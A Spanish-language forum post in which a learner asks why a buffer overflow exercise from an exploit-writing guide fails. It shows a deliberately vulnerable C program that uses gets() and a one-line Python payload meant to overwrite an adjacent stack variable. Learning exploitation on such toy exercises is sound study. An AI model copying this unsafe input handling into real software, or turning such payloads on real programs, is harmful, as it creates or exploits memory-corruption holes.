Hola!
Estoy aprendiendo de forma autodidacta ensamblador y por cosas de la vida, llegué a un tutorial llamada "Guia para hacer exploits" Leí la teoría y había una práctica sobre desbordamiento de búfer.
El código que dan es este:
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
printf("you win!\n");
}
En la guia explican por qué la función gets() es vulnerable y explican como realizar un pequeño exploit para aprovecharse de la vulnerabilidad.
Este sería el exploit
python -c 'print ("A" * 80 + "\x44\x43\x42\x41")' | ./stack1
Mi pregunta es, porqué no se imprime la cadena "you win!" se supone que al hacer el desbordamiento por sobrepasar los 80 bytes se asigna "\x44\x43\x42\x41" a la variable cookie que es la que esta contigua al array buf dentro de la pila.
Lo irónico es que estoy siguiendo la guia, no se porque no me funciona.
dejo por aca la guia por si alguien quiere echarle un vistazo y darme una luz.
Gracias!
https://fundacion-sadosky.github.io/guia-escritura-exploits/buffer-overflow/1-practica.html